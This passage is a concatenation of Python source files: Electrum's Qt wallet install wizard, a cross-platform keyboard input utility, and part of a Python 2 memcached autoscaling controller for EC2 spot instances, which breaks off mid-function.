# Copyright (C) 2018 The Electrum developers # Distributed under the MIT software license, see the accompanying # file LICENCE or http://www.opensource.org/licenses/mit-license.php import os import sys import threading import traceback from typing import Tuple, List, Callable from PyQt5.QtCore import QRect, QEventLoop, Qt, pyqtSignal from PyQt5.QtGui import QPalette, QPen, QPainter, QPixmap from PyQt5.QtWidgets import (QWidget, QDialog, QLabel, QHBoxLayout, QMessageBox, QVBoxLayout, QLineEdit, QFileDialog, QPushButton, QGridLayout, QSlider, QScrollArea) from electrum.wallet import Wallet from electrum.storage import WalletStorage from electrum.util import UserCancelled, InvalidPassword from electrum.base_wizard import BaseWizard, HWD_SETUP_DECRYPT_WALLET, GoBack from electrum.i18n import _ from .seed_dialog import SeedLayout, KeysLayout from .network_dialog import NetworkChoiceLayout from .util import (MessageBoxMixin, Buttons, icon_path, ChoicesLayout, WWLabel, InfoButton) from .password_dialog import PasswordLayout, PasswordLayoutForHW, PW_NEW MSG_ENTER_PASSWORD = _("Choose a password to encrypt your wallet keys.") + '\n'\ + _("Leave this field empty if you want to disable encryption.") MSG_HW_STORAGE_ENCRYPTION = _("Set wallet file encryption.") + '\n'\ + _("Your wallet file does not contain secrets, mostly just metadata. ") \ + _("It also contains your master public key that allows watching your addresses.") + '\n\n'\ + _("Note: If you enable this setting, you will need your hardware device to open your wallet.") WIF_HELP_TEXT = (_('WIF keys are typed in Electrum, based on script type.') + '\n\n' + _('A few examples') + ':\n' + 'p2pkh:KxZcY47uGp9a... \t-> 1DckmggQM...\n' + 'p2wpkh-p2sh:KxZcY47uGp9a... \t-> 3NhNeZQXF...\n' + 'p2wpkh:KxZcY47uGp9a... \t-> bc1q3fjfk...') # note: full key is KxZcY47uGp9aVQAb6VVvuBs8SwHKgkSR2DbZUzjDzXf2N2GPhG9n MSG_PASSPHRASE_WARN_ISSUE4566 = _("Warning") + ": "\ + _("You have multiple consecutive whitespaces or leading/trailing " "whitespaces in your passphrase.") + " " \ + _("This is discouraged.") + " " \ + _("Due to a bug, old versions of Electrum will NOT be creating the " "same wallet as newer versions or other software.") class CosignWidget(QWidget): size = 120 def __init__(self, m, n): QWidget.__init__(self) self.R = QRect(0, 0, self.size, self.size) self.setGeometry(self.R) self.setMinimumHeight(self.size) self.setMaximumHeight(self.size) self.m = m self.n = n def set_n(self, n): self.n = n self.update() def set_m(self, m): self.m = m self.update() def paintEvent(self, event): bgcolor = self.palette().color(QPalette.Background) pen = QPen(bgcolor, 7, Qt.SolidLine) qp = QPainter() qp.begin(self) qp.setPen(pen) qp.setRenderHint(QPainter.Antialiasing) qp.setBrush(Qt.gray) for i in range(self.n): alpha = int(16* 360 * i/self.n) alpha2 = int(16* 360 * 1/self.n) qp.setBrush(Qt.green if i<self.m else Qt.gray) qp.drawPie(self.R, alpha, alpha2) qp.end() def wizard_dialog(func): def func_wrapper(*args, **kwargs): run_next = kwargs['run_next'] wizard = args[0] wizard.back_button.setText(_('Back') if wizard.can_go_back() else _('Cancel')) try: out = func(*args, **kwargs) except GoBack: wizard.go_back() if wizard.can_go_back() else wizard.close() return except UserCancelled: return #if out is None: # out = () if type(out) is not tuple: out = (out,) run_next(*out) return func_wrapper # WindowModalDialog must come first as it overrides show_error class InstallWizard(QDialog, MessageBoxMixin, BaseWizard): accept_signal = pyqtSignal() def __init__(self, config, app, plugins, storage): BaseWizard.__init__(self, config, plugins, storage) QDialog.__init__(self, None) self.setWindowTitle('Electrum - ' + _('Install Wizard')) self.app = app self.config = config # Set for base base class self.language_for_seed = config.get('language') self.setMinimumSize(600, 400) self.accept_signal.connect(self.accept) self.title = QLabel() self.main_widget = QWidget() self.back_button = QPushButton(_("Back"), self) self.back_button.setText(_('Back') if self.can_go_back() else _('Cancel')) self.next_button = QPushButton(_("Next"), self) self.next_button.setDefault(True) self.logo = QLabel() self.please_wait = QLabel(_("Please wait...")) self.please_wait.setAlignment(Qt.AlignCenter) self.icon_filename = None self.loop = QEventLoop() self.rejected.connect(lambda: self.loop.exit(0)) self.back_button.clicked.connect(lambda: self.loop.exit(1)) self.next_button.clicked.connect(lambda: self.loop.exit(2)) outer_vbox = QVBoxLayout(self) inner_vbox = QVBoxLayout() inner_vbox.addWidget(self.title) inner_vbox.addWidget(self.main_widget) inner_vbox.addStretch(1) inner_vbox.addWidget(self.please_wait) inner_vbox.addStretch(1) scroll_widget = QWidget() scroll_widget.setLayout(inner_vbox) scroll = QScrollArea() scroll.setWidget(scroll_widget) scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) scroll.setWidgetResizable(True) icon_vbox = QVBoxLayout() icon_vbox.addWidget(self.logo) icon_vbox.addStretch(1) hbox = QHBoxLayout() hbox.addLayout(icon_vbox) hbox.addSpacing(5) hbox.addWidget(scroll) hbox.setStretchFactor(scroll, 1) outer_vbox.addLayout(hbox) outer_vbox.addLayout(Buttons(self.back_button, self.next_button)) self.set_icon('electrum.png') self.show() self.raise_() self.refresh_gui() # Need for QT on MacOSX. Lame. def select_storage(self, path, get_wallet_from_daemon): vbox = QVBoxLayout() hbox = QHBoxLayout() hbox.addWidget(QLabel(_('Wallet') + ':')) self.name_e = QLineEdit() hbox.addWidget(self.name_e) button = QPushButton(_('Choose...')) hbox.addWidget(button) vbox.addLayout(hbox) self.msg_label = QLabel('') vbox.addWidget(self.msg_label) hbox2 = QHBoxLayout() self.pw_e = QLineEdit('', self) self.pw_e.setFixedWidth(150) self.pw_e.setEchoMode(2) self.pw_label = QLabel(_('Password') + ':') hbox2.addWidget(self.pw_label) hbox2.addWidget(self.pw_e) hbox2.addStretch() vbox.addLayout(hbox2) self.set_layout(vbox, title=_('Electrum wallet')) self.storage = WalletStorage(path, manual_upgrades=True) wallet_folder = os.path.dirname(self.storage.path) def on_choose(): path, __ = QFileDialog.getOpenFileName(self, "Select your wallet file", wallet_folder) if path: self.name_e.setText(path) def on_filename(filename): path = os.path.join(wallet_folder, filename) wallet_from_memory = get_wallet_from_daemon(path) try: if wallet_from_memory: self.storage = wallet_from_memory.storage else: self.storage = WalletStorage(path, manual_upgrades=True) self.next_button.setEnabled(True) except BaseException: traceback.print_exc(file=sys.stderr) self.storage = None self.next_button.setEnabled(False) if self.storage: if not self.storage.file_exists(): msg =_("This file does not exist.") + '\n' \ + _("Press 'Next' to create this wallet, or choose another file.") pw = False elif not wallet_from_memory: if self.storage.is_encrypted_with_user_pw(): msg = _("This file is encrypted with a password.") + '\n' \ + _('Enter your password or choose another file.') pw = True elif self.storage.is_encrypted_with_hw_device(): msg = _("This file is encrypted using a hardware device.") + '\n' \ + _("Press 'Next' to choose device to decrypt.") pw = False else: msg = _("Press 'Next' to open this wallet.") pw = False else: msg = _("This file is already open in memory.") + "\n" \ + _("Press 'Next' to create/focus window.") pw = False else: msg = _('Cannot read file') pw = False self.msg_label.setText(msg) if pw: self.pw_label.show() self.pw_e.show() self.pw_e.setFocus() else: self.pw_label.hide() self.pw_e.hide() button.clicked.connect(on_choose) self.name_e.textChanged.connect(on_filename) n = os.path.basename(self.storage.path) self.name_e.setText(n) while True: if self.loop.exec_() != 2: # 2 = next return if self.storage.file_exists() and not self.storage.is_encrypted(): break if not self.storage.file_exists(): break wallet_from_memory = get_wallet_from_daemon(self.storage.path) if wallet_from_memory: return wallet_from_memory if self.storage.file_exists() and self.storage.is_encrypted(): if self.storage.is_encrypted_with_user_pw(): password = self.pw_e.text() try: self.storage.decrypt(password) break except InvalidPassword as e: QMessageBox.information(None, _('Error'), str(e)) continue except BaseException as e: traceback.print_exc(file=sys.stdout) QMessageBox.information(None, _('Error'), str(e)) return elif self.storage.is_encrypted_with_hw_device(): try: self.run('choose_hw_device', HWD_SETUP_DECRYPT_WALLET) except InvalidPassword as e: QMessageBox.information( None, _('Error'), _('Failed to decrypt using this hardware device.') + '\n' + _('If you use a passphrase, make sure it is correct.')) self.reset_stack() return self.run_and_get_wallet(get_wallet_from_daemon) except BaseException as e: traceback.print_exc(file=sys.stdout) QMessageBox.information(None, _('Error'), str(e)) return if self.storage.is_past_initial_decryption(): break else: return else: raise Exception('Unexpected encryption version') return True def run_and_get_wallet(self): path = self.storage.path if self.storage.requires_split(): self.hide() msg = _("The wallet '{}' contains multiple accounts, which are no longer supported since Electrum 2.7.\n\n" "Do you want to split your wallet into multiple files?").format(path) if not self.question(msg): return file_list = '\n'.join(self.storage.split_accounts()) msg = _('Your accounts have been moved to') + ':\n' + file_list + '\n\n'+ _('Do you want to delete the old file') + ':\n' + path if self.question(msg): os.remove(path) self.show_warning(_('The file was removed')) return action = self.storage.get_action() if action and action not in ('new', 'upgrade_storage'): self.hide() msg = _("The file '{}' contains an incompletely created wallet.\n" "Do you want to complete its creation now?").format(path) if not self.question(msg): if self.question(_("Do you want to delete '{}'?").format(path)): os.remove(path) self.show_warning(_('The file was removed')) return self.show() if action: # self.wallet is set in run self.run(action) return self.wallet self.wallet = Wallet(self.storage) return self.wallet def finished(self): """Called in hardware client wrapper, in order to close popups.""" return def on_error(self, exc_info): if not isinstance(exc_info[1], UserCancelled): traceback.print_exception(*exc_info) self.show_error(str(exc_info[1])) def set_icon(self, filename): prior_filename, self.icon_filename = self.icon_filename, filename self.logo.setPixmap(QPixmap(icon_path(filename)) .scaledToWidth(60, mode=Qt.SmoothTransformation)) return prior_filename def set_layout(self, layout, title=None, next_enabled=True): self.title.setText("<b>%s</b>"%title if title else "") self.title.setVisible(bool(title)) # Get rid of any prior layout by assigning it to a temporary widget prior_layout = self.main_widget.layout() if prior_layout: QWidget().setLayout(prior_layout) self.main_widget.setLayout(layout) self.back_button.setEnabled(True) self.next_button.setEnabled(next_enabled) if next_enabled: self.next_button.setFocus() self.main_widget.setVisible(True) self.please_wait.setVisible(False) def exec_layout(self, layout, title=None, raise_on_cancel=True, next_enabled=True): self.set_layout(layout, title, next_enabled) result = self.loop.exec_() if not result and raise_on_cancel: raise UserCancelled if result == 1: raise GoBack from None self.title.setVisible(False) self.back_button.setEnabled(False) self.next_button.setEnabled(False) self.main_widget.setVisible(False) self.please_wait.setVisible(True) self.refresh_gui() return result def refresh_gui(self): # For some reason, to refresh the GUI this needs to be called twice self.app.processEvents() self.app.processEvents() def remove_from_recently_open(self, filename): self.config.remove_from_recently_open(filename) def text_input(self, title, message, is_valid, allow_multi=False): slayout = KeysLayout(parent=self, header_layout=message, is_valid=is_valid, allow_multi=allow_multi) self.exec_layout(slayout, title, next_enabled=False) return slayout.get_text() def seed_input(self, title, message, is_seed, options): slayout = SeedLayout(title=message, is_seed=is_seed, options=options, parent=self) self.exec_layout(slayout, title, next_enabled=False) return slayout.get_seed(), slayout.is_bip39, slayout.is_ext @wizard_dialog def add_xpub_dialog(self, title, message, is_valid, run_next, allow_multi=False, show_wif_help=False): header_layout = QHBoxLayout() label = WWLabel(message) label.setMinimumWidth(400) header_layout.addWidget(label) if show_wif_help: header_layout.addWidget(InfoButton(WIF_HELP_TEXT), alignment=Qt.AlignRight) return self.text_input(title, header_layout, is_valid, allow_multi) @wizard_dialog def add_cosigner_dialog(self, run_next, index, is_valid): title = _("Add Cosigner") + " %d"%index message = ' '.join([ _('Please enter the master public key (xpub) of your cosigner.'), _('Enter their master private key (xprv) if you want to be able to sign for them.') ]) return self.text_input(title, message, is_valid) @wizard_dialog def restore_seed_dialog(self, run_next, test): options = [] if self.opt_ext: options.append('ext') if self.opt_bip39: options.append('bip39') title = _('Enter Seed') message = _('Please enter your seed phrase in order to restore your wallet.') return self.seed_input(title, message, test, options) @wizard_dialog def confirm_seed_dialog(self, run_next, test): self.app.clipboard().clear() title = _('Confirm Seed') message = ' '.join([ _('Your seed is important!'), _('If you lose your seed, your money will be permanently lost.'), _('To make sure that you have properly saved your seed, please retype it here.') ]) seed, is_bip39, is_ext = self.seed_input(title, message, test, None) return seed @wizard_dialog def show_seed_dialog(self, run_next, seed_text): title = _("Your wallet generation seed is:") slayout = SeedLayout(seed=seed_text, title=title, msg=True, options=['ext']) self.exec_layout(slayout) return slayout.is_ext def pw_layout(self, msg, kind, force_disable_encrypt_cb): playout = PasswordLayout(msg=msg, kind=kind, OK_button=self.next_button, force_disable_encrypt_cb=force_disable_encrypt_cb) playout.encrypt_cb.setChecked(True) self.exec_layout(playout.layout()) return playout.new_password(), playout.encrypt_cb.isChecked() @wizard_dialog def request_password(self, run_next, force_disable_encrypt_cb=False): """Request the user enter a new password and confirm it. Return the password or None for no password.""" return self.pw_layout(MSG_ENTER_PASSWORD, PW_NEW, force_disable_encrypt_cb) @wizard_dialog def request_storage_encryption(self, run_next): playout = PasswordLayoutForHW(MSG_HW_STORAGE_ENCRYPTION) playout.encrypt_cb.setChecked(True) self.exec_layout(playout.layout()) return playout.encrypt_cb.isChecked() @wizard_dialog def confirm_dialog(self, title, message, run_next): self.confirm(message, title) def confirm(self, message, title): label = WWLabel(message) vbox = QVBoxLayout() vbox.addWidget(label) self.exec_layout(vbox, title) @wizard_dialog def action_dialog(self, action, run_next): self.run(action) def terminate(self): self.accept_signal.emit() def waiting_dialog(self, task, msg, on_finished=None): label = WWLabel(msg) vbox = QVBoxLayout() vbox.addSpacing(100) label.setMinimumWidth(300) label.setAlignment(Qt.AlignCenter) vbox.addWidget(label) self.set_layout(vbox, next_enabled=False) self.back_button.setEnabled(False) t = threading.Thread(target=task) t.start() while True: t.join(1.0/60) if t.is_alive(): self.refresh_gui() else: break if on_finished: on_finished() @wizard_dialog def choice_dialog(self, title, message, choices, run_next): c_values = [x[0] for x in choices] c_titles = [x[1] for x in choices] clayout = ChoicesLayout(message, c_titles) vbox = QVBoxLayout() vbox.addLayout(clayout.layout()) self.exec_layout(vbox, title) action = c_values[clayout.selected_index()] return action def query_choice(self, msg, choices): """called by hardware wallets""" clayout = ChoicesLayout(msg, choices) vbox = QVBoxLayout() vbox.addLayout(clayout.layout()) self.exec_layout(vbox, '') return clayout.selected_index() @wizard_dialog def choice_and_line_dialog(self, title: str, message1: str, choices: List[Tuple[str, str, str]], message2: str, test_text: Callable[[str], int], run_next, default_choice_idx: int=0) -> Tuple[str, str]: vbox = QVBoxLayout() c_values = [x[0] for x in choices] c_titles = [x[1] for x in choices] c_default_text = [x[2] for x in choices] def on_choice_click(clayout): idx = clayout.selected_index() line.setText(c_default_text[idx]) clayout = ChoicesLayout(message1, c_titles, on_choice_click, checked_index=default_choice_idx) vbox.addLayout(clayout.layout()) vbox.addSpacing(50) vbox.addWidget(WWLabel(message2)) line = QLineEdit() def on_text_change(text): self.next_button.setEnabled(test_text(text)) line.textEdited.connect(on_text_change) on_choice_click(clayout) # set default text for "line" vbox.addWidget(line) self.exec_layout(vbox, title) choice = c_values[clayout.selected_index()] return str(line.text()), choice @wizard_dialog def line_dialog(self, run_next, title, message, default, test, warning='', presets=(), warn_issue4566=False): vbox = QVBoxLayout() vbox.addWidget(WWLabel(message)) line = QLineEdit() line.setText(default) def f(text): self.next_button.setEnabled(test(text)) if warn_issue4566: text_whitespace_normalised = ' '.join(text.split()) warn_issue4566_label.setVisible(text != text_whitespace_normalised) line.textEdited.connect(f) vbox.addWidget(line) vbox.addWidget(WWLabel(warning)) warn_issue4566_label = WWLabel(MSG_PASSPHRASE_WARN_ISSUE4566) warn_issue4566_label.setVisible(False) vbox.addWidget(warn_issue4566_label) for preset in presets: button = QPushButton(preset[0]) button.clicked.connect(lambda __, text=preset[1]: line.setText(text)) button.setMinimumWidth(150) hbox = QHBoxLayout() hbox.addWidget(button, alignment=Qt.AlignCenter) vbox.addLayout(hbox) self.exec_layout(vbox, title, next_enabled=test(default)) return line.text() @wizard_dialog def show_xpub_dialog(self, xpub, run_next): msg = ' '.join([ _("Here is your master public key."), _("Please share it with your cosigners.") ]) vbox = QVBoxLayout() layout = SeedLayout(xpub, title=msg, icon=False, for_seed_words=False) vbox.addLayout(layout.layout()) self.exec_layout(vbox, _('Master Public Key')) return None def init_network(self, network): message = _("Electrum communicates with remote servers to get " "information about your transactions and addresses. The " "servers all fulfill the same purpose only differing in " "hardware. In most cases you simply want to let Electrum " "pick one at random. However if you prefer feel free to " "select a server manually.") choices = [_("Auto connect"), _("Select server manually")] title = _("How do you want to connect to a server? ") clayout = ChoicesLayout(message, choices) self.back_button.setText(_('Cancel')) self.exec_layout(clayout.layout(), title) r = clayout.selected_index() if r == 1: nlayout = NetworkChoiceLayout(network, self.config, wizard=True) if self.exec_layout(nlayout.layout()): nlayout.accept() else: network.auto_connect = True self.config.set_key('auto_connect', True, True) @wizard_dialog def multisig_dialog(self, run_next): cw = CosignWidget(2, 2) m_edit = QSlider(Qt.Horizontal, self) n_edit = QSlider(Qt.Horizontal, self) n_edit.setMinimum(2) n_edit.setMaximum(15) m_edit.setMinimum(1) m_edit.setMaximum(2) n_edit.setValue(2) m_edit.setValue(2) n_label = QLabel() m_label = QLabel() grid = QGridLayout() grid.addWidget(n_label, 0, 0) grid.addWidget(n_edit, 0, 1) grid.addWidget(m_label, 1, 0) grid.addWidget(m_edit, 1, 1) def on_m(m): m_label.setText(_('Require {0} signatures').format(m)) cw.set_m(m) def on_n(n): n_label.setText(_('From {0} cosigners').format(n)) cw.set_n(n) m_edit.setMaximum(n) n_edit.valueChanged.connect(on_n) m_edit.valueChanged.connect(on_m) on_n(2) on_m(2) vbox = QVBoxLayout() vbox.addWidget(cw) vbox.addWidget(WWLabel(_("Choose the number of signatures needed to unlock funds in your wallet:"))) vbox.addLayout(grid) self.exec_layout(vbox, _("Multi-Signature Wallet")) m = int(m_edit.value()) n = int(n_edit.value()) return (m, n)
KeyboardUtils.py
import threading import time class KeyboardUtils: # Keyboard input on windows and linux ansiEscSeqCodes = { 49: [4, "HOME"], 50: [4, "INS"], 51: [4, "DEL"], 52: [4, "END"], 53: [4, "PAGEUP"], 54: [4, "PAGEDOWN"], 55: [4, "HOME"], 56: [4, "END"], 65: [3, "UP"], 66: [3, "DOWN"], 67: [3, "RIGHT"], 68: [3, "LEFT"], 70: [3, "END"], 72: [3, "HOME"], } windowsKeyCodes = { 71: [2, "HOME"], 72: [2, "UP"], 75: [2, "LEFT"], 77: [2, "RIGHT"], 73: [2, "PAGEUP"], 79: [2, "END"], 80: [2, "DOWN"], 81: [2, "PAGEDOWN"], 82: [2, "INS"], 83: [2, "DEL"], } asciiCodes = { 8: "BACKSPACE", 9: "TAB", 13: "ENTER", 27: "ESC", 127: "BACKSPACE", } def __init__(self, keyHandler): self.keybd = None self._keyHandler = keyHandler self._running = False self._isWindows = False self._multiSeqStart = 0 self._multiSeqLookupPos = 1 self._multiSeqCodes = self.windowsKeyCodes try: self.keybd = _KeybdWindows() self._isWindows = True self._multiSeqStart = 0 self._multiSeqLookupPos = 1 self._multiSeqCodes = self.windowsKeyCodes except ImportError: self.keybd = _KeybdUnix() self._multiSeqStart = 27 self._multiSeqLookupPos = 2 self._multiSeqCodes = self.ansiEscSeqCodes # Start threads self._running = True self._keyInThread = threading.Thread(target=self._KeyInThreadFn) self._keyInThread.setDaemon(True) self._keyInThread.start() self._keyEscThread = threading.Thread(target=self._KeyEscThreadFn) self._keyEscThread.setDaemon(True) self._keyEscThread.start() def close(self): self.keybd.close() self._running = False def getch(self, blocking=False): return self.keybd.getch(blocking) def _KeyInThreadFn(self): self.lastKeyChecked = True self.lastKeyTime = time.time() self.multiSeqChars = [] while self._running: char = self.getch(True) if char is None: continue # Check if we're in an escape sequence if len(self.multiSeqChars) > 0: self._handleEscSeq(ord(char)) continue self.lastKeyChecked = False self.lastKeyTime = time.time() if ord(char) == self._multiSeqStart: self.multiSeqChars = [ord(char)] elif char.isprintable(): self._keyHandler(char) else: self._handleControlKeys(ord(char)) def _KeyEscThreadFn(self): while self._running: time.sleep(1) if not self.lastKeyChecked: # print(time.time() - self.lastKeyTime, len(self.multiSeqChars)) if time.time() - self.lastKeyTime > 0.1: if not self._isWindows and len(self.multiSeqChars) == 1: self._keyHandler("ESC") self.lastKeyChecked = True def _handleEscSeq(self, charCode): self.multiSeqChars.append(charCode) if (len(self.multiSeqChars) > self._multiSeqLookupPos): keyInfo = self._multiSeqCodes.get(self.multiSeqChars[self._multiSeqLookupPos], []) seqLen = keyInfo[0] if len(keyInfo) > 0 else (2 if self._isWindows else 3) keyName = keyInfo[1] if len(keyInfo) > 1 else "" # print("Keyinfo = ", seqLen, keyName, len(self.multiSeqChars)) if len(self.multiSeqChars) == seqLen or len(self.multiSeqChars) == 4: # print(self.multiSeqChars, keyName) if self._keyHandler(keyName): self._running = False self.multiSeqChars = [] def _handleControlKeys(self, asciiCode): keyName = self.asciiCodes.get(asciiCode, "UNKNOWN") if keyName == "UNKNOWN" and asciiCode < 32: keyName = "CTRL-" + chr(asciiCode+64) self._keyHandler(keyName) class _KeybdWindows: # Windows using msvcrt def __init__(self): import msvcrt if msvcrt.kbhit(): pass def getch(self, blocking): import msvcrt # Check if there is a character waiting if blocking: return msvcrt.getwch() else: if msvcrt.kbhit(): return msvcrt.getwch() return None def close(self): pass class _KeybdUnix: # Linux using termios def __init__(self): import sys, tty, termios from select import select fd = sys.stdin.fileno() self.old_settings = termios.tcgetattr(fd) try: tty.setraw(sys.stdin.fileno()) except Exception as excp: print("Failed to init setraw") def getch(self, blocking): import sys, tty, termios from select import select # Params to select are... # [ Wait until ready for reading, # wait until ready for writing # wait for an "exception condition" # timeout in seconds ] if blocking: keyIn = sys.stdin.read(1) # print(ord(keyIn)) return keyIn else: [i, o, e] = select([sys.stdin.fileno()], [], [], .001) if i: return sys.stdin.read(1) print(".", end="") return None def close(self): import sys, tty, termios from select import select termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, self.old_settings)
controller.py
#import vm import socket import math import json import threading import time from settings import * import pdb import copy T_DELTA = 1000 T_DELTA_curr = 0 tp_request = False tr_request = False t_timer = None tp_timer = None tr_timer = None T_INTERVAL = 90 TP_INTERVAL = 300 TR_INTERVAL = 60000 T_PRICE_INTERVAL = 60 T_STATUS = 10 l_target = 700.0 cpu_high = 50 cpu_low = 20 miss_rate_high = 0.05 miss_rate_low = 0.007 c_delta_od = 0 c_delta_spot = 0 m_delta_od = 0 m_delta_spot = 0 bid = 0.175 bid_fail = False scaling_up_vm_tr_timer = 0 scaling_up_vm_tr_delay = 10 scaling_up_vm = False i_time = 0 spot_fail_timer1 = 0 spot_fail_timer2 = 0 spot_fail_timer3 = 0 spot_fail_timer4 = 0 spot_fail_delay = 24 spot_fail1 = False spot_fail2 = False spot_fail3 = False spot_fail4 = False spot_fail_interval = 4 extra_noise = False noise_duration = 300 noise_timer = 0 latency_ycsb = 0 # Input filename spot_trace1_filename = 'input/price_1.txt' spot_trace2_filename = 'input/price_2.txt' input_type1_filenmae = 'input/us_east_1c_1OD.txt' input_type2_filename = 'input/us_east_1c_5OD.txt' input_type3_filename = 'input/us_east_1d_1OD.txt' input_type4_filename = 'input/us_east_1d_5OD.txt' input_OD_filename = 'input/on_demand.txt' # Bids OD_price = 0.133 # for m3.large type1_bid = OD_price type2_bid = 5 * OD_price type3_bid = OD_price type4_bid = 5 * OD_price # use for thread target function def launch_vm(v): v.launch_instance() def set_tp_request(): global tp_request tp_request = True def set_tr_request(): global tr_request tr_request = True def set_t_delta(): global T_DELTA T_DELTA = 0 def start_tp_timer(): global tp_timer tp_timer = threading.Timer(600, set_tp_request) tp_timer.start() def start_tr_timer(): global tr_timer tr_timer = threading.Timer(120, set_tr_request) tr_timer.start() def start_t_timer(): t_timer = threading.Timer(240, set_t_delta) t_timer.start() def reset_tp_timer(): tp_timer.cancel() global tp_request tp_request = False start_tp_timer() def reset_tr_timer(): tr_timer.cancel() global tr_request tr_request = False start_tr_timer() def reset_t_timer(): t_timer.cancel() global T_DELTA T_DELTA = 0 start_t_timer() """def get_vm(): ycsb_clients = [] memcached_od_server = [] memcached_spot_server = [] t = [] memcached_cmd = 'python /home/ubuntu/memcached_daemon.py' # configure instance for YCSB client for i in range(YCSB_SIZE): new_vm = vm.VM('ami-cdb2e1a8', 'ec2-sample-key', 'ec2-sample-key.pem', 'ubuntu', instance_type = 'm3.large') ycsb_clients.append(new_vm) t.append(threading.Thread(target = launch_vm, args = (new_vm,), name = 'YCSB-%d' % i)) # configure OD instance for memcached server for i in range(MEMCACHED_OD_SIZE): new_vm = vm.VM('ami-f73d6d92', 'ec2-sample-key', 'ec2-sample-key.pem', 'ubuntu', instance_type = 'm3.large', user_data = memcached_cmd) memcached_od_server.append(new_vm) t.append(threading.Thread(target = launch_vm, args = (new_vm,), name = 'memcached-od-%d' % i)) # configure spot instance for memcached server for i in range(MEMCACHED_SPOT_SIZE): new_vm = vm.VM('ami-f73d6d92', 'ec2-sample-key', 'ec2-sample-key.pem', 'ubuntu', instance_type = 'm3.large', user_data = memcached_cmd) memcached_spot_server.append(new_vm) t.append(threading.Thread(target = launch_vm, args = (new_vm,), name = 'memcached-spot-%d' % i)) # start all instances for thread in t: thread.start() for thread in t: thread.join() return {'YCSB' : ycsb_clients, 'memcached_od' : memcached_od_server, 'memcached_spot' : memcached_spot_server} """ def send_to_server(server_ip, cmd, port = 12345): print server_ip sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((server_ip, port)) try: sock.sendall(cmd) data = sock.recv(1024) #print data finally: sock.close() return data ################################################# def send_to_mem(server_ip, cmd, port = 5001): print server_ip sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((server_ip, port)) try: sock.sendall(cmd) data = sock.recv(1024) #print data finally: sock.close() return data ##################################################### def get_latencies(server_ip, port = 12345): cmd = 'get$servers' data = send_to_server(server_ip, cmd, port = port) #print data if data is not None: try: ret = json.loads(data) return ret except ValueError: print "ValueError when json.loads(data)---" print data else: return '0' def get_tput(server_ip, port = 12345): cmd = 'get$tput' data = send_to_server(server_ip, cmd, port = port) if data: return data else: return '0,0' # get ram, cpu information from memcached server def get_all_info(server_ip, port = 12345): cmd = 'get:all' data = send_to_server(server_ip, cmd, port = port) try: ret = json.loads(data) return ret except ValueError: print "ValueError when json.loads(data)---" print data def run_cmd(server_ip, cmd, port = 12345): cmd = 'run$%s' % cmd send_to_server(server_ip, cmd, port = port) def run_cmd_mem(server_ip, cmd, port = 12345): cmd = 'run:%s' % cmd send_to_server(server_ip, cmd, port = port) # set ram, cpu information to memcached server def set_ram(server_ip, ram_size, port = 12345): cmd = 'set:ram:%d' % int(ram_size) # TODO not sure what it return, so cannot check if it is # set successfully send_to_server(server_ip, cmd, port = port) # set the number of core use in the server def set_core(server_ip, core_size, port = 12345): cmd = 'set:core:%d' % int(core_size) # TODO same as set_ram send_to_server(server_ip, cmd, port = port) def set_weights(server_ip, config, port = 12345): cmd = 'set$weights$%s' % config send_to_server(server_ip, cmd, port = port) def reset_memcached(server_ip, port = 12345): cmd = 'reset:all' # TODO same as set_ram send_to_server(server_ip, cmd, port = port) def flush_memcached(server_ip, port = 12345): cmd = 'flush:all' send_to_server(server_ip, cmd, port = port) def reset_mcrouter(server_ip, port = 12345): cmd = 'reset$all' send_to_server(server_ip, cmd, port = port) # create a dictionary of memcached server def create_server_info(instance_list): server_status = {} for instance in instance_list: server_status[instance] = { 'core' : 0, 'ram' : 0, 'hot_weight': 0, 'cold_weight': 0, 'latency': 0, 'cpu_util' : 0, 'miss_rate': 0, 'turnover' : 0, 'cmd_get' : 0, 'load_factor' : 0, 'tput': 0, 'private_ip': None} return server_status def set_mcrouter_config(memcached_list_od, memcached_list_spot, mcrouter_list, port = 11211): filename = 'mcrouter-config' path = '/home/ubuntu/mcrouter-install/install' config = { "pools":{ "A":{ "servers":[] }, "B":{ "servers":[] } }, "route": { "type" : "PrefixSelectorRoute", "policies": { "h": {"type" : "HashRoute", "children" : "Pool|A", "hash_func" : "WeightedCh3", "weights" : []}, "c": {"type" : "HashRoute", "children" : "Pool|B", "hash_func" : "WeightedCh3", "weights" : []}, }, "wildcard": {"type" : "HashRoute", "children" : "Pool|A", "hash_func" : "WeightedCh3", "weights" : []} } } # add ip address and weights to the config for server in memcached_list_od: config['pools']['A']['servers'].append(server + ':%d' % port) config['pools']['B']['servers'].append(server + ':%d' % port) if memcached_list_od[server]['hot_weight'] < 0.0001: config['route']['policies']['h']['weights'].append(0) config['route']['wildcard']['weights'].append(0) else: config['route']['policies']['h']['weights'].append(memcached_list_od[server]['hot_weight']) config['route']['wildcard']['weights'].append(memcached_list_od[server]['hot_weight']) if memcached_list_od[server]['cold_weight'] < 0.0001: config['route']['policies']['c']['weights'].append(0) else: config['route']['policies']['c']['weights'].append(memcached_list_od[server]['cold_weight']) for server in memcached_list_spot: config['pools']['A']['servers'].append(server + ':%d' % port) config['pools']['B']['servers'].append(server + ':%d' % port) if memcached_list_spot[server]['hot_weight'] < 0.0001: config['route']['policies']['h']['weights'].append(0) else: config['route']['policies']['h']['weights'].append(memcached_list_spot[server]['hot_weight']) if memcached_list_spot[server]['cold_weight'] < 0.0001: config['route']['policies']['c']['weights'].append(0) else: config['route']['policies']['c']['weights'].append(memcached_list_spot[server]['cold_weight']) # with open(filename, 'w') as f: # f.write(json.dumps(config)) for server in mcrouter_list: set_weights(server, json.dumps(config)) def get_ram_scaleup(server_list, M_MAX): available_servers = {} for server in server_list: if server_list[server]['ram'] - M_MAX < -0.1: available_servers[server] = server_list[server] return available_servers def get_ram_scaledown(server_list, M_MIN): available_servers = {} for server in server_list: if server_list[server]['ram'] - M_MIN > 0.1: available_servers[server] = server_list[server] return available_servers def get_core_scaleup(server_list, C_MAX): available_servers = {} for server in server_list: if server_list[server]['core'] - C_MAX < -0.1: available_servers[server] = server_list[server] return available_servers def get_core_scaledown(server_list, C_MIN): available_servers = {} for server in server_list: if server_list[server]['core'] - C_MIN > 0.1: available_servers[server] = server_list[server] return available_servers def get_active_servers(server_list): active_servers = {} for server in server_list: if server_list[server]['hot_weight'] != 0 or 